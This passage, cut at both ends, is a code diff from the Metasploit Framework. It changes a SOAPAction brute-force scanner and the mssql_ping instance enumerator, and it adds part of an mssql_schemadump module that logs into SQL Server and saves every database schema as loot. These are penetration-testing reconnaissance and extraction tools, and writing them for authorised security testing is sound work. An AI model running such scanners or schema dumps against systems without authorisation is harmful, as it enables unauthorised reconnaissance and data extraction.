183   - print_status(res.to_s)
184   - end
185   - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
186   - rescue ::Timeout::Error, ::Errno::EPIPE
  140 + verbs.each do |v|
  141 + nouns.each do |n|
  142 + data_parts = []
  143 + data_parts << "<?xml version=\"1.0\" encoding=\"utf-8\"?>"
  144 + data_parts << "<soap:Envelope xmlns:xsi=\"#{datastore['XMLINSTANCE']}\" xmlns:xsd=\"#{datastore['XMLSCHEMA']}\" xmlns:soap=\"#{datastore['XMLSOAP']}\">"
  145 + data_parts << "<soap:Body>"
  146 + data_parts << "<#{v}#{n} xmlns=\"#{datastore['XMLNAMESPACE']}\">"
  147 + data_parts << "</#{v}#{n}>"
  148 + data_parts << "</soap:Body>"
  149 + data_parts << "</soap:Envelope>"
  150 + data_parts << nil
  151 + data_parts << nil
  152 + data = data_parts.join("\r\n")
  153 +
  154 + res = send_request_raw({
  155 + 'uri' => datastore['PATH'] + '/' + v + n,
  156 + 'method' => 'POST',
  157 + 'vhost' => vhost,
  158 + 'data' => data,
  159 + 'headers' =>
  160 + {
  161 + 'Content-Length' => data.length,
  162 + 'SOAPAction' => '"' + datastore['XMLNAMESPACE'] + v + n + '"',
  163 + 'Expect' => '100-continue',
  164 + 'Content-Type' => datastore['CONTENTTYPE'],
  165 + }
  166 + }, 15)
  167 +
  168 + if (res && !(res.body.empty?))
  169 + if ((not reject_regexen.select { |r| res.body =~ r }.empty?))
  170 + print_status("Server rejected SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}.")
  171 + elsif (res.message =~ /Cannot process the message because the content type/)
  172 + print_status("Server rejected CONTENTTYPE: HTTP: #{res.code} #{res.message}.")
  173 + res.message =~ /was not the expected type\s\'([^']+)'/
  174 + print_status("Set CONTENTTYPE to \"#{$1}\"")
  175 + return false
  176 + elsif (res.code == 404)
  177 + print_status("Server returned HTTP 404 for #{datastore['PATH']}. Use a different one.")
  178 + return false
  179 + else
  180 + print_status("Server responded to SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}.")
  181 + ## Add Report
  182 + report_note(
  183 + :host => ip,
  184 + :proto => 'tcp',
  185 + :sname => (ssl ? 'https' : 'http'),
  186 + :port => rport,
  187 + :type => "SOAPAction: #{v}#{n}",
  188 + :data => "SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}."
  189 + )
  190 + if datastore['DISPLAYHTML']
  191 + print_status("The HTML content follows:")
  192 + print_status(res.body + "\r\n")
  193 + end
  194 + end
  195 + end
  196 + select(nil, nil, nil, datastore['SLEEP']) if (datastore['SLEEP'] > 0)
  197 + end
  198 + end
  199 + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE => e
  200 + print_error(e)
187 201 end
188 202 end
189 203 end
19 modules/auxiliary/scanner/mssql/mssql_ping.rb
@@ -40,18 +40,19 @@ def run_host(ip)
40 40 begin
41 41
42 42 info = mssql_ping(2)
43   - if (info['ServerName'])
44   - print_status("SQL Server information for #{ip}:")
45   - info.each_pair { |k,v|
46   - print_status(" #{k + (" " * (15-k.length))} = #{v}")
47   - }
48   - if info['tcp']
49   - report_mssql_service(ip,info)
  43 + print_status info.inspect
  44 + if info and not info.empty?
  45 + info.each do |instance|
  46 + if (instance['ServerName'])
  47 + print_status("SQL Server information for #{ip}:")
  48 + instance.each_pair {|k,v| print_good(" #{k + (" " * (15-k.length))} = #{v}")}
  49 + if instance['tcp']
  50 + report_mssql_service(ip,instance)
  51 + end
  52 + end
50 53 end
51   -
52 54 end
53 55
54   -
55 56 rescue ::Rex::ConnectionError
56 57 end
57 58 end
132 modules/auxiliary/scanner/mssql/mssql_schemadump.rb
... ... @@ -0,0 +1,132 @@
  1 +##
  2 +# $Id$
  3 +##
  4 +
  5 +##
  6 +# This file is part of the Metasploit Framework and may be subject to
  7 +# redistribution and commercial restrictions. Please see the Metasploit
  8 +# Framework web site for more information on licensing and terms of use.
  9 +# http://metasploit.com/framework/
  10 +##
  11 +
  12 +
  13 +require 'msf/core'
  14 +require 'yaml'
  15 +
  16 +class Metasploit3 < Msf::Auxiliary
  17 +
  18 + include Msf::Exploit::Remote::MSSQL
  19 + include Msf::Auxiliary::Report
  20 +
  21 + include Msf::Auxiliary::Scanner
  22 +
  23 + def initialize
  24 + super(
  25 + 'Name' => 'MSSQL Schema Dump',
  26 + 'Description' => %Q{
  27 + This module attempts to extract the schema from a MSSQL Server
  28 + Instance. It will disregard builtin and example DBs such
  29 + as master,model,msdb, and tempdb. The module will create
  30 + a note for each DB found, and store a YAML formatted output
  31 + as loot for easy reading.
  32 + },
  33 + 'Author' => ['TheLightCosine <thelightcosine[at]gmail.com>'],
  34 + 'License' => MSF_LICENSE
  35 + )
  36 + end
  37 +
  38 + def run_host(ip)
  39 +
  40 + if (not mssql_login_datastore)
  41 + print_error("#{rhost}:#{rport} - Invalid SQL Server credentials")
  42 + return
  43 + end
  44 +
  45 + #Grabs the Instance Name and Version of MSSQL(2k,2k5,2k8)
  46 + instancename = mssql_query(mssql_enumerate_servername())[:rows][0][0].split('\\')[1]
  47 + print_status("Instance Name: #{instancename.inspect}")
  48 + version = mssql_query(mssql_sql_info())[:rows][0][0]
  49 + output = "Microsoft SQL Server Schema \n Host: #{datastore['RHOST']} \n Port: #{datastore['RPORT']} \n Instance: #{instancename} \n Version: #{version} \n====================\n\n"
  50 +
  51 + #Grab all the DB schema and save it as notes
  52 + mssql_schema = get_mssql_schema
  53 + return nil if mssql_schema.nil? or mssql_schema.empty?
  54 + mssql_schema.each do |db|
  55 + report_note(
  56 + :host => rhost,
  57 + :type => "mssql.db.schema",
  58 + :data => db,
  59 + :port => rport,
  60 + :proto => 'tcp',
  61 + :update => :unique_data
  62 + )
  63 + end
  64 + output << YAML.dump(mssql_schema)
  65 + this_service = report_service(
  66 + :host => datastore['RHOST'],
  67 + :port => datastore['RPORT'],
  68 + :name => 'mssql',
  69 + :proto => 'tcp'
  70 + )
  71 + store_loot('mssql_schema', "text/plain", datastore['RHOST'], output, "#{datastore['RHOST']}_mssql_schema.txt", "MS SQL Schema", this_service)
  72 + print_good output
  73 + end
  74 +
  75 + def get_mssql_schema